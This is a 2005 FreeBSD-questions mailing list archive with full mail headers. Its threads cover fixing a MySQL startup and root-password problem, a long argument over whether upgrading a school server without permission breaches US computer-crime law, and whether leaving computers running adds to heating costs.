freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 7A9EB16A4CE for ; Tue, 8 Feb 2005 09:21:46 +0000 (GMT) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.204]) by mx1.FreeBSD.org (Postfix) with ESMTP id 0A98F43D49 for ; Tue, 8 Feb 2005 09:21:46 +0000 (GMT) (envelope-from normal1.lists@gmail.com) Received: by wproxy.gmail.com with SMTP id 58so874245wri for ; Tue, 08 Feb 2005 01:21:45 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=hmDD6BLo2PblNf5YdMvo0DMwm134L5JVJuSPBMOzAJLCTJTemGRIus+N2Pf22YL2KUfBNdj7+xWBS0KYUZqmWMeyKpJ1bzT3/MQ+tRpo2uHuI4Iu6iVMS0jsKLKCTm5dYMthhIQ3tIJpxS+E1mx2noUVQBO0n7sRc0al6ifo6VU= Received: by 10.54.56.15 with SMTP id e15mr272378wra; Tue, 08 Feb 2005 01:21:45 -0800 (PST) Received: by 10.54.2.45 with HTTP; Tue, 8 Feb 2005 01:21:45 -0800 (PST) Message-ID: Date: Tue, 8 Feb 2005 01:21:45 -0800 From: gabriel To: Adi Pircalabu In-Reply-To: <20050208105921.795584aa@apircalabu.dsd.ro> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <20050208105921.795584aa@apircalabu.dsd.ro> cc: freebsd-questions Subject: Re: Changing mysql root password X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: gabriel List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 09:21:46 -0000 Nope, negative. Any other suggestions? On Tue, 8 Feb 2005 10:59:21 +0200, Adi Pircalabu wrote: > On Tue, 8 Feb 2005 00:37:40 -0800 > gabriel wrote: > > > Please someone enlighten me! > > Hi, > http://dev.mysql.com/doc/mysql/en/resetting-permissions.html > > Hope it helps > > -- > Adrian Pircalabu > > Public KeyID = 0x04329F5E > > -- > This message was scanned for spam and viruses by BitDefender. > For more information please visit http://www.bitdefender.com/ > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > -- gabriel, Member of: FreeBSD-Announce FreeBSD-Hardware FreeBSD-Multimedia FreeBSD-questions From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 09:28:02 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 426E216A4CE for ; Tue, 8 Feb 2005 09:28:02 +0000 (GMT) Received: from dave.horsfall.org (mrdavi2.lnk.telstra.net [139.130.75.233]) by mx1.FreeBSD.org (Postfix) with ESMTP id F123243D48 for ; Tue, 8 Feb 2005 09:27:59 +0000 (GMT) (envelope-from dave@horsfall.org) Received: from localhost (dave@localhost) by dave.horsfall.org (8.11.4/8.11.4) with ESMTP id j189Rve26217 for ; Tue, 8 Feb 2005 20:27:57 +1100 (EST) Date: Tue, 8 Feb 2005 20:27:57 +1100 (EST) From: Dave Horsfall To: freebsd-questions@freebsd.org In-Reply-To: <20050207173934.GA7395@logik.ath.cx> Message-ID: References: <200502051745.25937.hindrich@worldchat.com> <20050207091209.D71459@maren.thelosingend.net> <1008235984.20050207170137@wanadoo.fr> <64399.213.236.228.129.1107796383.squirrel@213.236.228.129> <20050207173934.GA7395@logik.ath.cx> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: Re: Electricity bill [was: Re: Leaving a Computer Running ?] X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 09:28:02 -0000 On Mon, 7 Feb 2005, markzero wrote: > These switches should technically not be able to work without a power > supply but evidently they work just fine. I don't question the > arrangement, I just observe it from across the room. We get along fine. Many KVMs draw power from the mouse/keyboard ports. -- Dave From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 09:32:45 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id F3E1816A4CE for ; Tue, 8 Feb 2005 09:32:44 +0000 (GMT) Received: from mail.bitdefender.com (ns.bitdefender.com [217.156.83.1]) by mx1.FreeBSD.org (Postfix) with ESMTP id C3C1F43D49 for ; Tue, 8 Feb 2005 09:32:41 +0000 (GMT) (envelope-from apircalabu@bitdefender.com) Received: (qmail 13768 invoked from network); 8 Feb 2005 09:32:39 -0000 Received: from apircalabu.dsd.ro (10.10.15.22) by mail.dsd.ro with AES256-SHA encrypted SMTP; 8 Feb 2005 09:32:39 -0000 Date: Tue, 8 Feb 2005 11:35:37 +0200 From: Adi Pircalabu To: gabriel Message-ID: <20050208113537.79df4176@apircalabu.dsd.ro> In-Reply-To: References: <20050208105921.795584aa@apircalabu.dsd.ro> Organization: BitDefender X-Mailer: Sylpheed-Claws 1.0.0 (GTK+ 1.2.10; i386-portbld-freebsd4.11) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-BitDefender-SpamStamp: 1.1.3 044000040111AAAAAAE X-BitDefender-Scanner: Clean, Agent: BitDefender Qmail 1.6.1 on mail.bitdefender.com X-BitDefender-Spam: No (0) cc: freebsd-questions Subject: Re: Changing mysql root password X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 09:32:45 -0000 On Tue, 8 Feb 2005 01:21:45 -0800 gabriel wrote: > Nope, negative. Any other suggestions? > >From what I know, if you installed mysql from ports system, without any particular knobs, the database directory should be /var/db/mysql. So, if you want to use another path, you should append --datadir=/your/path/to/dir/database when invoking safe_mysqld. Anyway, you should provide more info, I can't guess your setup ;) -- Adrian Pircalabu Public KeyID = 0x04329F5E -- This message was scanned for spam and viruses by BitDefender. For more information please visit http://www.bitdefender.com/ From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 09:40:38 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 6137916A4CE for ; Tue, 8 Feb 2005 09:40:38 +0000 (GMT) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.207]) by mx1.FreeBSD.org (Postfix) with ESMTP id CDB2A43D5C for ; Tue, 8 Feb 2005 09:40:37 +0000 (GMT) (envelope-from normal1.lists@gmail.com) Received: by wproxy.gmail.com with SMTP id 58so875716wri for ; Tue, 08 Feb 2005 01:40:37 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=HQ3aP6dC+1v9J5k/i+Rsja4ih0wRZlhLDIWXvqhM55mAInXRcGCSDD+R//oDJnNknUAhFuVjAeeCmbV3HT5Cy1FvVHmdYozsT6P9XrBkHrYtcT+oWEoovJPt/8nm9P46k+ZYVPlcFlkN/VBqYc8VKqWlMhhRb6p9IigDvRukvLs= Received: by 10.54.57.80 with SMTP id f80mr360307wra; Tue, 08 Feb 2005 01:40:37 -0800 (PST) Received: by 10.54.2.45 with HTTP; Tue, 8 Feb 2005 01:40:36 -0800 (PST) Message-ID: Date: Tue, 8 Feb 2005 01:40:36 -0800 From: gabriel To: Adi Pircalabu In-Reply-To: <20050208113537.79df4176@apircalabu.dsd.ro> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <20050208105921.795584aa@apircalabu.dsd.ro> <20050208113537.79df4176@apircalabu.dsd.ro> cc: freebsd-questions Subject: Re: Changing mysql root password X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: gabriel List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 09:40:38 -0000 Okay, I'm not asking you to guess it, I didn't include it because I didn't think it was relevant. Regardless, here it goes: This the make line: make DB_DIR=/usr/local/mysql WITH_LINUXTHREADS=yes BUILD_STATIC=yes BUILD_OPTIMIZED=yes install I'm not sure what else you need. Cheers! On Tue, 8 Feb 2005 11:35:37 +0200, Adi Pircalabu wrote: > On Tue, 8 Feb 2005 01:21:45 -0800 > gabriel wrote: > > > Nope, negative. Any other suggestions? > > > > From what I know, if you installed mysql from ports system, without any > particular knobs, the database directory should be /var/db/mysql. So, if > you want to use another path, you should append > --datadir=/your/path/to/dir/database when invoking safe_mysqld. > > Anyway, you should provide more info, I can't guess your setup ;) > > -- > Adrian Pircalabu > > Public KeyID = 0x04329F5E > > -- > This message was scanned for spam and viruses by BitDefender. > For more information please visit http://www.bitdefender.com/ > > -- gabriel, Member of: FreeBSD-Announce FreeBSD-Hardware FreeBSD-Multimedia FreeBSD-questions From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 09:44:47 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 444BF16A4CE for ; Tue, 8 Feb 2005 09:44:47 +0000 (GMT) Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [65.75.192.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id 6653643D48 for ; Tue, 8 Feb 2005 09:44:46 +0000 (GMT) (envelope-from tedm@toybox.placo.com) Received: from tedwin2k (nat-rtr.freebsd-corp-net-guide.com [65.75.197.130]) j189igj08497; Tue, 8 Feb 2005 01:44:42 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: "Chuck Swiger" Date: Tue, 8 Feb 2005 01:44:41 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) In-Reply-To: <42051F95.5020209@mac.com> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 Importance: Normal cc: gfoster9055@comcast.net cc: freebsd-questions@freebsd.org Subject: RE: FreeBSD 3.2 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 09:44:47 -0000 > -----Original Message----- > From: Chuck Swiger [mailto:cswiger@mac.com] > Sent: Saturday, February 05, 2005 11:34 AM > To: Ted Mittelstaedt > Cc: gfoster9055@comcast.net; freebsd-questions@freebsd.org > Subject: Re: FreeBSD 3.2 > > > > Oh I always love these kinds of statements. Even if I am a lawyer > > (which I'll say I'm not, to save you from arguing that I am not) > > guess what - unless I'm retained by you or the OP for the purposes > > of giving legal advice, even as a lawyer, my advice has no legal > > significance whatsover. Yes, that's true - a lawyer's advice has > > no significance - unless paid for. > > You're simply wrong. Attorney-client privilege applies even > when a lawyer has > not been paid-- I said "unless I'm retained by you or the OP for the purposes of giving legal advice" Technically your correct on the paid for issue, it was a smartass comment of mine - every lawyer I've ever met doesen't give anyone dick unless he or she gets money for it, so from a practical standpoint the two statements are the same thing. But, I'm sure you could probably find a few exceptions to that if you looked hard enough. There must be somewhere at least 1 lawyer that gave someone something of value, by accident, without extracting his pound of flesh. > > > I am qualified here on this topis as an expert witness however, and > > as a matter of fact, lawyers pay people like me to explain how > > laws like this apply to the real world. > > Oh, I've served as an expert witness, too. I was paid to > evaluate software to > determine whether copyright infringement had occured because > the technical > skills required to evaluate software require skills which > people who are not > experts with computers don't have. > Whis is a simple way of saying you were paid to render an opinion, ie: advice on whether copyright law applied to an example in the real world. Jsut what I said. > > > And of course I'll also gloss over the whole issue that your implying > > that laws are uninterpretable by the average person unless they are > > a lawyer. Riiggghhttt. So I guess you get a lawyer every time you > > get a parking ticket, eh? ;-) > > The law applies regardless of whether the average person is > able to understand > a specific matter or not. However, for the sake of example, > if you are not an > accountant, then you probably [1] cannot be held guilty of *willfully* > violating accounting laws which are only comprehensible to an > accountant (or > to a lawyer specializing in that area of law). Accounting law is much more complex than what we are talking about here. > > Likewise, someone who has served as a legal expert on computer > matters is > expected to have a greater understanding of the ethics and > professional > responsibilities involved with computer usage. For example, > because I am a > network manager responsible for a network infrastructure > including electronic > mail systems, I know that I have a legal obligation to report child > pornography in spam (ie, an email containing pictures as a > MIME attachment, or > a link to a porn web site) if and when I become aware of such filth. > Yes, it is very unfortunate how many network managers out there somehow don't become aware of such illegal activities even when their own networks are stuffed with them. Makes you wonder how exactly they are managing their networks. > ------ > [1]: But this becomes more complicated when you are expected > to discuss > matters with your accountants as part of your > responsibilities: there are > several high-profile cases going on right now involving CEOs > who claimed to > know nothing about accounting or financial irregularities who > are still being > prosecuted.... > The rest of the industry knew Ebbers was running a Ponzi scheme years before it collapsed. What the courts in that mess are trying to do now is figure out how to make the obvious legally stick. It is a shame, though, that besides him the US government regulators aren't right up there with him, as their irresponsibility in failing to apply the anti-trust acts are what allowed the mess to get as big as it is. > >>See 18 USC 1030: > >> > >>http://www.law.cornell.edu/uscode/html/uscode18/usc_sec_18_0000 > >>1030----000-.html > > > > > > Interesting cite, let's look a bit more closely though: > > > > (a)(1) "having knowingly accessed a computer without authorization" > > > > He has authorization to -access- the computer. Note that access is > > not spelled out as a definition in section (e) > > > > (a)(1) "or exceeding authorized access" > > > > OK, so here we have something - as you could argue that updating > > the system is exceeding the authorized access on the machine, right? > > > > Except that, continuing on in this section: > > > > "and by means of such conduct...unauthorized disclosure for > reasons of > > national defense" > > > > Ok, so section (a)(1) isn't applicable. So continuing on: > > > > (a)(2) "exceeds authorized access, and thereby obtains-... > > information from any department or agency of the United States" > > > > I'll skip (a)(2)(a) and (a)(2)(c) as they obviously aren't > applicable. > > So it sounds like you might have a case here - except for > one problem, > > that a backup-reformat-reinstall isn't accessing information in > > the computer over and above his authorized access. I'll admit this > > is a grey area and can be argued both ways - but bear with me and > > follow along. > > Computer people attempt to understand the law as if it were a > deterministic > construct which means exactly what it says, and as if a > specific section is > completely well defined in the absence of other laws. This > works for code > (well-written code, anyway), because software people try very > hard to provide > well-defined interfaces which are self-contained and do not > involve side > effects or hidden changes to global state. > > Unfortunately, this approach does not always work for the law; > and sometimes > it doesn't work at all. Legal terms sometimes have a specific > meaning-- what > we might call jargon-- which is not the same understanding of > the term that > average people have. > > What you fail to understand or take into account is that this > law, originally > designed to apply to atomic secrets held by top-security > government computers, > can also be applied to other protected information defined in > other laws. > > What kinds of other information? The three that come to mind > are financial > information, medical and healthcare records, and educational > records. Go look > up a few cases where a student hacked into a school computer > in order to > change grades and see for yourself what laws they were > prosecuted under. > What they were prosecuted under or found guilty of? Two very different things. The trend today among prosecutors is to create elaborate and rediculous justifications for applying as many charges as possible merely to get the thing ended with a plea bargain so it doesen't have to go to trial. So a student hacked into a computer and changed a grade, and somewhere on the network a computer that is tied to this one happens to contain some financial info of the school, well of course the prosecutor is going to use that to create a charge that has an extremely tenuous connection. It does not mean that a court is going to agree with this. A court will probably agree with other, more applicable, violations, though, so the defendant is going to be fucked anyway - but this way during a plea negotiation the offer to drop what would be an unwinnable charge may be enough to get the defendant to capitulate on the charge that he would be found guilty of. Thus convincing the defendent that he's actually getting something out of a plea bargain (even though he's not, he being just as screwed as if he went to court) which is necessary to get him to agree to doing it. Thus, avoiding a court case, saving everyone a lot of time and money, and life goes on. > > He obviously has permission for a certain level of access already > > on this machine. > > "Obviously?" If he was accused of breaking the law, and > claimed that "I > obviously had permission to do whatever I want to this > computer", just how > would he prove this supposedly obvious claim? > Well you are right this is an assumption on my part. But how could he possibly perform the job that he allegedly has volunteered for - administering this computer - without having a rather extensive e-mail trail back and forth with the school, that would easily establish that he had permission for a certain level of access. I did assume a certain minimum level of competence. But I'll go ahead and give you that point. Perhaps the OP is such an unbelievably incompetent network administrator that he has never once had any kind of e-mail exchange with the school regarding any matter of adminstering these servers. Perhaps in his own mind he thinks he was given permission to administer this server and these sites when in reality nobody who was any witness to the exchange between him and the school would possibly agree that such permission was given. This is why I cautioned him that: "You are just helping this person out by giving him a breather so he can work on windowizing some other system, once he gets done with that one your FreeBSD 3.2 system will be gone quicker than grapes through a goose" Because frankly the situation is very strange in that no sane network manager -wants- old, unsecured, systems on their network. I personally think the OP is being setup - which is why I told him to get out immediately and find some other place more grateful for assistance. And, I said all that because once I happened to be in that situation myself. Back in 1994 it was - I was asked at my employer at the time to setup a company support webserver. I said great, I have Unixware running on this test system here that would work great. I was told no, use Windows. I also had at the same time a Windows webserver running on a test Windows box. (which I did not elaborate on to my bosses) I did the old smile & nod, did nothing, and quit within a month. (mainly for other reasons, but this was one) I heard later on that they could never find anyone else to put up a Windows webserver, so they eventually were forced by the marketing group to give the project to another site - where the admin there who thought like me, promptly used Solaris on Sparc. I've learned from experience that micromanaging is the last refuge of the incompetent manager. If you stay and put up with it, your just helping the incompetent manager keep his job. If you leave and go elsewhere, the incompetent manager almost always suffers. Anyway, getting back to the OP's problem, he didn't ask for this kind of advice, he asked for how to beat the system, to get around their restrictions. My experience is that in the kind of toxic environment that he is in, nothing he can do is going to be liked. When your bosses start ordering you to do self-defeating things, they want you out of there, and are just too big a coward to tell you your fired. > In my last message, I gave a really good suggestion, which was... > > [ ...a lot of nonsense removed, tired of detailed response... ] > >> US-government-owned computer without getting written > >> permission first. > > > > Absolutely nothing in that section you cited said anything > > about written permission, I have no idea where your getting > > that from at all. > > ...getting written permission means that the changes you make > in good faith to > a computer system owned by someone else are "authorized". > > And you can prove it if you needed to. > No, you can't prove it any better than if it's verbal with a few witnesses - unless the written permission is so incredibly detailed that it runs to 2 dozen pages and specifies things so narrowly that you practically have set times to go to the bathroom. And you need one of these for every single project. It's impractical and rediculous in a volunteer situation. Any sane volunteer would rightfully conclude that they don't want his services and tell them to stuff it. For example, the OP said he was in charge of administering this server, and he could do anything he wanted to do except upgrade it. Assume he has a piece of paper from the network manager saying just that. There is a need in the network for an HTTPS server. The network manager knows that the FreeBSD system could do this - if upgraded - but he secretly wants to force the school to spend money on a new Windows box, thus he issues the "no upgrade" restriction, thinking that this will block use of the FreeBSD system as an HTTPS server, yet at the same time not put him on record as deliberately saying NO to use of the FreeBSD server as an HTTPS server. Our OP then goes out and digs up some hoary old SSL code that he compiles, and some hoary old apache-ssl code that builds with this, and presto - instant HTTPS server on the FreeBSD server. This shoots the scheme of the network manager to get a new Windows box funded to pieces, since the school is never going to spend the money for one since they now have an HTTPS server on the FreeBSD system. The network manager then tries arguing using your logic, that the OP is an irresponsible cracker that exceeded his authority on the server and is guilty of computer crime. The OP pulls out his paper, and the network manager argues that upgrades obviously mean installing a 'new' https server. So much for the written permission. > > EXCEPT, I have it - you are probably saying this because you > > have a high expectation that him updating the system will break > > things - resulting in justifyable anger and annoyance of the > > owner - resulting in possible legal actions where a piece of > > paper might get his ass out of the sling. > > Very good. Only you've got it backwards. > > I didn't evaluate his chances of breaking the system because > my concern was > that he should obtain permission before reinstalling because > that is the right > thing to do. The fact that having written authorization might > well "keep his > ass out of the sling" if there was a problem is a secondary > concern, albeit > still very important. > And also your missing that even with a written piece of permission good enough to keep him from being successfully sued, the fact of the matter is that his putting a nice new server in there which destroys justifications for wastin.. I mean spending money, is going to create enemies. It won't create enemies of the administrators of the school who are probably scraping to keep every penny possible funneled to the students. It will create enemies of the network admins who are getting their jollies out of scrapping a cheap but perfectly workable Open Source network that they are too goddam lazy to understand, and replacing it with an expensive shiny toy that they can use to polish up their MCSE cerifications on, and build their Resumes with, so they can quit in 6 months and get more money elsewhere. Your missing this because you are assuming that everyone in the school other than this volunteer is of a unified mind, and all of them - from the top administrator of the school all the way down to the janitor - doesen't want the server updated. I think your getting carried away with this assumption because the law prefers to treat organizations as unified things. In reality it is very likely that the top administrators of the school neither know or care what their IT systems are running, all they care about is how much money they must toss into them. The OP said as much when he said that "updating is out of the question at the momment because of policy and budget", well you know perfectly well that all schools think they never have enough money, so the real operative portion of this statement is the heads of the school don't want to spend more money than they are already. Yet, the OP said "they are moving to winblows" Well there is no such thing as a migration from Open Source to Windows that saved money. Such an animal doesen't exist except in the tortured minds of Microsoft's marketing department. People only migrate from an installed and operating Open Source network to Windows because they don't understand Open Source and are too pigheaded to bother spending time learning it. There's an excellent chance this school is in a situation where the heads of the school had a FreeBSD network probably put together by the previous admin, that person left, they couldn't find anyone else, and ended up hiring some incompetent graduate out of a Windows training program, who doesen't understand the existing network, and pretty much told the school head that everything they have needs to be scrapped. In that case the school administrators have little choice but to go with the recommendations of the network person they hired, even though they know it's going to be more costly. If this is the real issue, and I will bet that it is, no matter how much the network admin hates this volunteers guts for skewering his plans to spend large amounts of money on Microsoft software, there is going to be zero support from the top for going after the OP in any legal sense. Ted From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 09:52:19 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 7E7EB16A4CE for ; Tue, 8 Feb 2005 09:52:19 +0000 (GMT) Received: from mail.bitdefender.com (ns.bitdefender.com [217.156.83.1]) by mx1.FreeBSD.org (Postfix) with ESMTP id 359A943D45 for ; Tue, 8 Feb 2005 09:52:18 +0000 (GMT) (envelope-from apircalabu@bitdefender.com) Received: (qmail 10537 invoked from network); 8 Feb 2005 09:52:17 -0000 Received: from apircalabu.dsd.ro (10.10.15.22) by mail.dsd.ro with AES256-SHA encrypted SMTP; 8 Feb 2005 09:52:16 -0000 Date: Tue, 8 Feb 2005 11:55:14 +0200 From: Adi Pircalabu To: gabriel Message-ID: <20050208115514.25702cb2@apircalabu.dsd.ro> In-Reply-To: References: <20050208105921.795584aa@apircalabu.dsd.ro> <20050208113537.79df4176@apircalabu.dsd.ro> Organization: BitDefender X-Mailer: Sylpheed-Claws 1.0.0 (GTK+ 1.2.10; i386-portbld-freebsd4.11) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-BitDefender-SpamStamp: 1.1.3 044000040111AAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQ X-BitDefender-Scanner: Clean, Agent: BitDefender Qmail 1.6.1 on mail.bitdefender.com X-BitDefender-Spam: No (13) cc: freebsd-questions Subject: Re: Changing mysql root password X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 09:52:19 -0000 On Tue, 8 Feb 2005 01:40:36 -0800 gabriel wrote: > I'm not sure what else you need. I'm not sure what I need either :), anyway: - did you notice any errors after install? - do you have a proper user/group setup on DB_DIR ? - does the error occur if you start safe_mysqld as root and not as another user? -- Adrian Pircalabu Public KeyID = 0x04329F5E -- This message was scanned for spam and viruses by BitDefender. For more information please visit http://www.bitdefender.com/ From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 09:53:47 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 7948616A4CE for ; Tue, 8 Feb 2005 09:53:47 +0000 (GMT) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.198]) by mx1.FreeBSD.org (Postfix) with ESMTP id DCA8343D64 for ; Tue, 8 Feb 2005 09:53:46 +0000 (GMT) (envelope-from normal1.lists@gmail.com) Received: by wproxy.gmail.com with SMTP id 58so876827wri for ; Tue, 08 Feb 2005 01:53:46 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=YJfush2b/0cxGdHoupliL3PvLwRE7B5H3nr/oFg6YKXp7pZsfW8P1Fl58+EhimQlLuwWWp8lAMiTHq0HH0Ru3rpuxBcbm31BbzvXdQQcLqbU2gmRiodcX1I5LSdb8n8PWUJvtxgJ20JcVx9R6HVie+2Gj6Yu1qcxWqARP7HicV4= Received: by 10.54.56.15 with SMTP id e15mr286519wra; Tue, 08 Feb 2005 01:53:46 -0800 (PST) Received: by 10.54.2.45 with HTTP; Tue, 8 Feb 2005 01:53:46 -0800 (PST) Message-ID: Date: Tue, 8 Feb 2005 01:53:46 -0800 From: gabriel To: Adi Pircalabu In-Reply-To: <20050208115514.25702cb2@apircalabu.dsd.ro> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <20050208105921.795584aa@apircalabu.dsd.ro> <20050208113537.79df4176@apircalabu.dsd.ro> <20050208115514.25702cb2@apircalabu.dsd.ro> cc: freebsd-questions Subject: Re: Changing mysql root password X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: gabriel List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 09:53:47 -0000 hmm you know what worked? Just doing this: /usr/local/bin/safe_mysqld & Before I was adding some flags that the manual said I should add. I've sinced placed them in the config. Thanks for your help though!! :) On Tue, 8 Feb 2005 11:55:14 +0200, Adi Pircalabu wrote: > On Tue, 8 Feb 2005 01:40:36 -0800 > gabriel wrote: > > > I'm not sure what else you need. > > I'm not sure what I need either :), anyway: > - did you notice any errors after install? > - do you have a proper user/group setup on DB_DIR ? > - does the error occur if you start safe_mysqld as root and not as > another user? > > -- > Adrian Pircalabu > > Public KeyID = 0x04329F5E > > -- > This message was scanned for spam and viruses by BitDefender. > For more information please visit http://www.bitdefender.com/ > > -- gabriel, Member of: FreeBSD-Announce FreeBSD-Hardware FreeBSD-Multimedia FreeBSD-questions From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 10:12:22 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8B0EB16A4CE for ; Tue, 8 Feb 2005 10:12:22 +0000 (GMT) Received: from royk.itea.ntnu.no (royk.itea.ntnu.no [129.241.190.230]) by mx1.FreeBSD.org (Postfix) with ESMTP id B3D5B43D3F for ; Tue, 8 Feb 2005 10:12:21 +0000 (GMT) (envelope-from svein-freebsd-questions@theloosingend.net) Received: from localhost (localhost [127.0.0.1]) by royk.itea.ntnu.no (Postfix) with ESMTP id 658F46719B for ; Tue, 8 Feb 2005 11:12:20 +0100 (CET) Received: from maren.thelosingend.net (m190d.studby.ntnu.no [129.241.131.190]) by royk.itea.ntnu.no (Postfix) with SMTP for ; Tue, 8 Feb 2005 11:12:19 +0100 (CET) Received: (qmail 86089 invoked by uid 1001); 8 Feb 2005 10:12:19 -0000 Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; 8 Feb 2005 10:12:19 -0000 Date: Tue, 8 Feb 2005 11:12:19 +0100 (CET) From: Svein Halvor Halvorsen X-X-Sender: sveinhal@maren.thelosingend.net To: freebsd-questions@FreeBSD.org In-Reply-To: <20050207195715.GE82997@keyslapper.net> Message-ID: <20050208105203.O85721@maren.thelosingend.net> References: <200502051745.25937.hindrich@worldchat.com> <20050207091209.D71459@maren.thelosingend.net> <20050207195715.GE82997@keyslapper.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Content-Scanned: with sophos and spamassassin at mailgw.ntnu.no. Subject: Re: Electricity bill [was: Re: Leaving a Computer Running ?] X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 10:12:22 -0000 * Louis LeBlanc [2005-02-07 14:57 -0500] > I'm coming into this thread a bit late, but if you go to : > You'll see a neat little gadget that will tell you exactly what your > computers electrical usage is. I'm not saying that leaving your computer on 24/7 consumes little power. I'm just saying that in Norway (where I live) and in Sweden (where the person I replied to seems to live) how much power used by your computers is irrelevant. This is true because: 1) Our house need to be heated a lot (more than the computer can provide) 2) Other heatsources are also based on electricity 3) Other heatsources are thermostatically controlled. In this setup, you need to warm up your house somehow. Since *all* energy in the end turns to thermic energy (elementary physics), the route this energy takes from moving electrons to heats is of little interest (when you're just looking to heat up your house). I could open my refrigerator door and it would not show up on my electricity bill (of course all my food would be wasted, so it would show up on my food budget). Or I could pass electrons through an electric resistance which generates heat (which is what most people do[1]), or I could turn on alot of light bulbs[2], or listen to music[2] and turn it up real loud. -- OR -- I could leave my computer on and get some extra use out of those moving electrons on their way from electric energy to thermic energy. Personally, I use a combination of all these. And the extra heating I need after turning on all my appliances, my thermostatically controlled electric wall heating takes care of. Of course, all of this is not true if your house does not needs to be heated that much most of the year. Svein 